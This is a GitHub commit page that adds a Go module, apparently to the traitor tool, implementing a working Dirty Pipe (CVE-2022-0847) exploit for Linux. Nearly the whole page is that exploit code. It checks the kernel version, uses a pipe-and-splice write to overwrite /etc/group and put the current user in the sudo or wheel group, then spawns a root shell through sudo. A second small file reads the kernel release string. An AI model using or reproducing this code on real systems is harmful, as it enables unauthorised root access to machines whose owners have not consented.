-
-
Notifications
You must be signed in to change notification settings - Fork 584
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: Added exploit for dirty pipe (CVE-2022-0847) (#74)
- Loading branch information
Showing
5 changed files
with
274 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,253 @@ | ||
package cve20220847 | ||
|
||
import ( | ||
"context" | ||
"errors" | ||
"fmt" | ||
"os" | ||
"os/exec" | ||
"os/user" | ||
"regexp" | ||
"strconv" | ||
"strings" | ||
"syscall" | ||
|
||
"github.com/liamg/traitor/pkg/logger" | ||
"github.com/liamg/traitor/pkg/payloads" | ||
"github.com/liamg/traitor/pkg/state" | ||
"golang.org/x/sys/unix" | ||
) | ||
|
||
// see: https://dirtypipe.cm4all.com/ | ||
type cve20220847Exploit struct { | ||
pageSize int64 | ||
log logger.Logger | ||
} | ||
|
||
func New() *cve20220847Exploit { | ||
exp := &cve20220847Exploit{ | ||
pageSize: 4096, | ||
} | ||
return exp | ||
} | ||
|
||
func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool { | ||
|
||
r := regexp.MustCompile(`[0-9]+\.[0-9]+(\.[0-9]+)*`) | ||
ver := r.FindString(s.KernelVersion) | ||
|
||
var segments []int | ||
for _, str := range strings.Split(ver, ".") { | ||
n, err := strconv.Atoi(str) | ||
if err != nil { | ||
return false | ||
} | ||
segments = append(segments, n) | ||
} | ||
|
||
var major int | ||
var minor int | ||
var patch int | ||
|
||
if len(segments) < 3 { | ||
return false | ||
} | ||
|
||
major = segments[0] | ||
minor = segments[1] | ||
patch = segments[2] | ||
|
||
// affects Linux Kernel 5.8 and later versions, and has been fixed in Linux 5.16.11, 5.15.25 and 5.10.102 | ||
switch { | ||
case major == 5 && minor < 8: | ||
return false | ||
case major > 5: | ||
return false | ||
case minor > 16: | ||
return false | ||
case minor == 16 && patch >= 11: | ||
return false | ||
case minor == 15 && patch >= 25: | ||
return false | ||
case minor == 10 && patch >= 102: | ||
return false | ||
} | ||
|
||
log.Printf("Kernel version %s is vulnerable!", ver) | ||
return true | ||
} | ||
|
||
func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error { | ||
return v.Exploit(ctx, s, log, payloads.Default) | ||
} | ||
|
||
func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error { | ||
|
||
v.log = log | ||
|
||
log.Printf("Attempting to add user to sudoers via common groups...") | ||
u, err := user.Current() | ||
if err != nil { | ||
return err | ||
} | ||
|
||
groupData, err := os.ReadFile("/etc/group") | ||
if err != nil { | ||
return err | ||
} | ||
backup := string(groupData) | ||
maxSize := 4096 - (len(u.Username) + 1) | ||
if len(groupData) > maxSize { | ||
groupData = groupData[:maxSize] | ||
} | ||
|
||
var injected []string | ||
var found bool | ||
for _, line := range strings.Split(string(groupData), "\n") { | ||
if !found { | ||
parts := strings.Split(line, ":") | ||
switch parts[0] { | ||
case "sudo", "wheel": | ||
log.Printf("Found group: '%s'", parts[0]) | ||
found = true | ||
if parts[3] != "" { | ||
users := strings.Split(parts[3], ",") | ||
var canAdd bool | ||
for _, existing := range users { | ||
if existing == u.Username { | ||
log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0]) | ||
canAdd = false | ||
|
||
} | ||
} | ||
if !canAdd { | ||
injected = append(injected, line) | ||
continue | ||
} | ||
line += "," | ||
} | ||
line += u.Username | ||
} | ||
} | ||
injected = append(injected, line) | ||
} | ||
if !found { | ||
_ = found | ||
//return fmt.Errorf("could not find sudo or wheel group") | ||
} | ||
newData := []byte(strings.Join(injected, "\n") + "\n") | ||
|
||
if err := v.writeToFile("/etc/group", 1, newData[1:]); err != nil { | ||
return fmt.Errorf("failed to overwrite target file: %w", err) | ||
} | ||
|
||
defer func() { | ||
log.Printf("Restoring contents of /etc/group...") | ||
_ = v.writeToFile("/etc/group", 1, []byte(backup)[1:]) | ||
}() | ||
|
||
log.Printf("Starting shell (you may need to enter your password)...") | ||
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/group is restored.") | ||
cmd := exec.Cmd{ | ||
Path: "/bin/sh", | ||
Args: []string{"/bin/sh", "-c", "sudo", "/bin/sh"}, | ||
Env: os.Environ(), | ||
Dir: "/", | ||
Stdin: os.Stdin, | ||
Stdout: os.Stdout, | ||
Stderr: os.Stderr, | ||
} | ||
if payload != "" { | ||
cmd.Args = append(cmd.Args, "-c", string(payload)) | ||
} | ||
return cmd.Run() | ||
} | ||
|
||
func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error { | ||
|
||
if offset%v.pageSize == 0 { | ||
return errors.New("cannot write to an offset aligned with a page boundary") | ||
} | ||
|
||
v.log.Printf("Opening '%s' for read...", path) | ||
target, err := os.Open(path) | ||
if err != nil { | ||
return fmt.Errorf("failed to read target file: %w", err) | ||
} | ||
|
||
r, w, err := v.dirtyThatPipe() | ||
if err != nil { | ||
return fmt.Errorf("failed to create dirty pipe: %w", err) | ||
} | ||
defer func() { | ||
_ = r.Close() | ||
_ = w.Close() | ||
}() | ||
|
||
v.log.Printf("Splicing data...") | ||
offset-- | ||
spliced, err := syscall.Splice(int(target.Fd()), &offset, int(w.Fd()), nil, 1, 0) | ||
if err != nil { | ||
return fmt.Errorf("splice error: %w", err) | ||
} | ||
if spliced <= 0 { | ||
return fmt.Errorf("splice failed (%d)", spliced) | ||
} | ||
|
||
v.log.Printf("Writing to dirty pipe...") | ||
if n, err := w.Write(data); err != nil { | ||
return fmt.Errorf("write failed: %w", err) | ||
} else if n < len(data) { | ||
return fmt.Errorf("write partially failed - %d bytes written", n) | ||
} | ||
|
||
v.log.Printf("Write of '%s' successful!", path) | ||
return nil | ||
} | ||
|
||
func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, err error) { | ||
|
||
v.log.Printf("Creating pipe...") | ||
r, w, err = os.Pipe() | ||
if err != nil { | ||
return nil, nil, fmt.Errorf("create failed: %w", err) | ||
} | ||
|
||
v.log.Printf("Determining pipe size...") | ||
size, err := unix.FcntlInt(w.Fd(), syscall.F_GETPIPE_SZ, -1) | ||
if err != nil { | ||
return nil, nil, fmt.Errorf("fcntl error: %w", err) | ||
} | ||
v.log.Printf("Pipe size is %d.", size) | ||
|
||
v.log.Printf("Filling pipe...") | ||
written := 0 | ||
for written < size { | ||
writeSize := size - written | ||
if int64(writeSize) > v.pageSize { | ||
writeSize = int(v.pageSize) | ||
} | ||
n, err := w.Write(make([]byte, writeSize)) | ||
if err != nil { | ||
return nil, nil, fmt.Errorf("pipe write failed: %w", err) | ||
} | ||
written += n | ||
} | ||
|
||
v.log.Printf("Draining pipe...") | ||
read := 0 | ||
for read < size { | ||
readSize := size - read | ||
if int64(readSize) > v.pageSize { | ||
readSize = int(v.pageSize) | ||
} | ||
n, err := r.Read(make([]byte, readSize)) | ||
if err != nil { | ||
return nil, nil, fmt.Errorf("pipe read failed: %w", err) | ||
} | ||
read += n | ||
} | ||
|
||
v.log.Printf("Pipe drained.") | ||
return r, w, nil | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
package state | ||
|
||
import "os" | ||
|
||
func kernelVersion() string { | ||
b, err := os.ReadFile("/proc/sys/kernel/osrelease") | ||
if err != nil { | ||
return "" | ||
} | ||
return string(b) | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters